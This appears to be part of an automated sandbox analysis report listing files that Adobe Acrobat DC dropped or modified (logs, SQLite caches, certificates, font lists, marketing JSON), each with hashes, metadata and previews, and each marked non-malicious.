SHA-256:	714410049655DF9D85F97251078BA5C8469B8467E789B64F80EEC5C2ED9E9AA4
SHA-512:	1C3FE85A9206FCB31433E5472426980D3B5036A5572502110FFB4622C40BC9FB9302444B74DB527BA799D833828BBAEBF1D9C1F27C272207654AC9C959EB1690
Malicious:	false
Preview:	2025/01/10-16:07:36.360 1664 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:07:36.368 1664 Recovering log #3.2025/01/10-16:07:36.369 1664 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438674525615437
Encrypted:	false
SSDEEP:	384:yeaci5GSiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1CurVgazUpUTTGt
MD5:	071A8989057D3B28777152C2F4A038A9
SHA1:	ADE382C5386E3B360B1E83B878B714359C30F541
SHA-256:	7A6511D421D7C297BF1FB47FE85424999233CC81DBB3DFE50EF352740EB3B466
SHA-512:	49DB290DAEEB78BC05DBE07FA756C6E8F79D0C46A9C007EBA215982D495617F19F59BB180C86E6C59EB39CAD7C180091B0D0B1AD10A29955A3CAD3FEFB833F53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7762976730814284
Encrypted:	false
SSDEEP:	48:7M5Wp/E2ioyVMioy3DoWoy1CABoy1kKOioy1noy1AYoy1Wioy1hioybioySoy1nJ:7mWpjuM0iAEXKQfsb9IVXEBodRBk2
MD5:	A082997102AAC2EADD70D4ABA8F3B283
SHA1:	E16F8ABC8DA664BF243EEF98679D65FD8F66D5FA
SHA-256:	B796B6BF1D481DCD4CA3654DA10DAC147F8F67DD86B3A8AAD7E5D94860396FDF
SHA-512:	371CF38A79B7BF46A4BF28A7494A20B589844675DDE9F56B9DEC8CE0E1B5A7C318195034B556B15145948FEBC9692F7B00AAE973F7340D99EA7BAC21206664F9
Malicious:	false
Preview:	.... .c......{.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFklznoGGpttfllXlE/HT8kg+/jNNX8RolJuRdxLlGB9lQRYwpDdt:kKnDteT8QpNMa8RdWBwRd
MD5:	3C0CAC4D65125FCC93E91F3BA65F736A
SHA1:	0D4B6B31CF8CB07F7FB939CBED0844D569EA2879
SHA-256:	CF12315A2BD4D97F4376879E65CF6F48B8F239F440483F6D059547AA12FD8802
SHA-512:	42CAA73FBB0729CE75F6E429FD05BE930B818D32C7C3C563893820D1596ADA3A07C52E6F4B63CD353E14D85349D9A4065CE136F532B4C41DFC405BC91A860932
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKcxyL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:kxyiDImsLNkPlE99SNxAhUe/3
MD5:	05C7DD8B9CC0D7486FE0C2499CB5B98C
SHA1:	BF2C8C612DC4B83464C5B2EA9FACF951781BC3CD
SHA-256:	E7CA7ACB725B198B8C5535D90598AACC0A973AB088DFEC833D57383CB1A8216C
SHA-512:	D3B187A8A139686EFC1F6351914E01D1AB9A0CB39588BACFB489537FF47BDB17E958455C1A2B1D905B8F306142878D7CD4228862806E9B51E9A698CE88139155
Malicious:	false
Preview:	p...... .........P.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7888

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7888

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.353739001448662
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAyhuhtg4WsGiIPEeOF0Y0lUoAvJM3g98kUwPeUkwRe9:YvXKX9hubgbsdTeOUlGMbLUkee9
MD5:	96393C4554B3F80BE06154F1BECEE3A4
SHA1:	25E61C1F601FDD89B78194E6337EA371A68ADB9A
SHA-256:	5221098DE33D8CD402504279BC9BF1DCB5458A7429A65B20CFB85CF3D7304ED0
SHA-512:	D7187EDCE236312A51D56FB317C674FD149786A8F94D6B730906920323BDF2D6BCDDCABD13E3BD7AF3A152EE7D407A41441E04F420905BF255B7E9C02FE5109B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4edb2121-ab61-4f86-a3fe-c3f0c2e9c1de","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736723265651,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.285037534279082
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAyhuhtg4WsGiIPEeOF0Y0lUoAvJfBoTfXpnrPeUkwRe9:YvXKX9hubgbsdTeOUlGWTfXcUkee9
MD5:	6B7D4FAC4A761C8605DD916DB4C85DD0
SHA1:	45D6AE970851FDFF5404957003C0DB272C2A632D
SHA-256:	072268C6B09A897B9173DE6E53702D63E51A8971E47482355F41773FBB48A0DF
SHA-512:	82C3EC80DC2679EADA041AD108033C5AB62A112AB147D2AD9EBDD0C28FD51CD7145D46E1FE64F816BC5FEE41B2E3C62CAFC046B1EB7AB0DB1A9E425EF1A744C6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4edb2121-ab61-4f86-a3fe-c3f0c2e9c1de","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736723265651,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2637075967033065
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAyhuhtg4WsGiIPEeOF0Y0lUoAvJfBD2G6UpnrPeUkwRe9:YvXKX9hubgbsdTeOUlGR22cUkee9
MD5:	0BF4D5E327B96AEB46A0DD0F6831DD4A
SHA1:	121F8C3A8A7EBCE6718C6B695D66DF5D7A2A862C
SHA-256:	54C4BCBD895756201622D9A60CD9DD03C50CB4F9F4C57D93AA98DDC34BD5DAD8
SHA-512:	29ABCD01CEA71DE9EA1B375FEC308E1B2DBAFAE62EE2E3B6545AE65308C032498477915A43AD54211F0DFBDCA29B94BB669D442059F4BCC81B198A524120A752
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4edb2121-ab61-4f86-a3fe-c3f0c2e9c1de","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736723265651,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.340279606888792
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAyhuhtg4WsGiIPEeOF0Y0lUoAvJfPmwrPeUkwRe9:YvXKX9hubgbsdTeOUlGH56Ukee9
MD5:	E72997ADB55DE9299BF29CE5AB77FC8A
SHA1:	0C70C6B5F4798A7C716E25C5917F08E4A7F7CDA8
SHA-256:	CF09CD9EECFD13A62B437306139D6CC54AE352C3ADABFBBFF24981516ACE40A0
SHA-512:	A619D8D1F9A29BEA62B6507D25706A98A6B4585FE7359ACE00591A06527EFF07245EDCD034DDFBAF2B265B6F5C099960D6514A4B88117B3E6989810031857EA0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4edb2121-ab61-4f86-a3fe-c3f0c2e9c1de","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736723265651,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.683191352643468
Encrypted:	false
SSDEEP:	24:Yv6XkQmeOJpLgE9cQx8LennAvzBvkn0RCmK8czOCCSc:YvXe2hgy6SAFv5Ah8cv/c
MD5:	0FF4BA583A800C43D43B6C3064391B8D
SHA1:	F659C4CE02A7B098C308230E6FF26B45A1EB1181
SHA-256:	716DC5790001879A245B3CC945582176D89A3181B3A1A265A621CAEE659BABB2
SHA-512:	C2AE1A633E70200E40DD6CEEC1322ABA72AC0D6B7EFEC002DA0ADD18E800983EF0DF26D963C9000881851AD64FEE537E336FE251620142F133BC246AF79AEC3A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4edb2121-ab61-4f86-a3fe-c3f0c2e9c1de","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736723265651,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.273707071830184
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAyhuhtg4WsGiIPEeOF0Y0lUoAvJf8dPeUkwRe9:YvXKX9hubgbsdTeOUlGU8Ukee9
MD5:	196098985744316F583274C017E334EA
SHA1:	1FA5FE2A2BAE7DC4EA4DD08BBF359EF7235F4B5A
SHA-256:	5D39AF8A06E8D07D17BCCFFD407BF70FB7EAA1D235D8FD9FC1CB33A0CF52D645
SHA-512:	3798DD9C6ED96DEA1546E9E18D02BC5E519A9367096B76725463E26D388C05EA9FC4C3400B3C341C600A391139719FD425ABC813335151D2D23865A1C2FD07F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4edb2121-ab61-4f86-a3fe-c3f0c2e9c1de","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736723265651,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.277343054601424
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAyhuhtg4WsGiIPEeOF0Y0lUoAvJfQ1rPeUkwRe9:YvXKX9hubgbsdTeOUlGY16Ukee9
MD5:	591EB00DD512CA21800EAC12F2B18239
SHA1:	234991D6C8C7B40C63C136922014ADB4CEA57362
SHA-256:	AA1CACA2E48A0CDCC3C423293E9E55C252107F08DA0B40F30B5E9D0F7DB97B87
